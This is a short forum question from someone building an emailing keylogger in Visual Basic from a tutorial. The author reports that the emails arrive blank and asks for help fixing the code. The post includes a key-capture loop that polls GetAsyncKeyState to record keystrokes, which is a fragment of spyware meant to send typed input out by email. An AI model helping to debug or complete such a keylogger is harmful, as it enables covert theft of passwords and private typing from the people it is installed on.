Why do I receive blank keylogger emails?

Im coding my emailing key logger, inspired by tutorial. But Im reciving just blank emails with the timestamp. Including the errory part of the code below, also leaving one error and the blank email screenshots. The error, Blank email

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i) //This is the error line
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i

Can someone help? Im really stupid at this language but im sure that it will have an easy fix Thanks in advance